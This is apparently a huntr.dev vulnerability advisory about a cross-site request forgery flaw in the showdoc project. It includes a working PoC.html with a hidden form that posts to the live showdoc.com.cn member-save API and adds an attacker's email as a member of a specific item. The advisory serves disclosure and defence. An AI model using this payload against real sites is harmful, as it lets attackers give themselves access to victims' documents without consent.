Cross-Site Request Forgery (CSRF) in star7th/showdoc

2021-08-0318:06:06

amammad

www.huntr.dev

0.001 Low

EPSS

Percentile

31.2%

JSON

✍️ Description

With CSRF vulnerability Attacker able to add any member to for any item if users visit attacker site.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari.

2.now you can check that member with email address [email protected] that already should registered befor have access to item with id 1531601670203340.

// PoC.html

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://www.showdoc.com.cn/server/index.php?s=/api/member/save" method="POST"&gt;
      &lt;input type="hidden" name="item&#95;id" value="1531601670203340" /&gt;
      &lt;input type="hidden" name="username" value="evil&#64;mail&#46;com" /&gt;
      &lt;input type="hidden" name="cat&#95;id" value="0" /&gt;
      &lt;input type="hidden" name="member&#95;group&#95;id" value="1" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;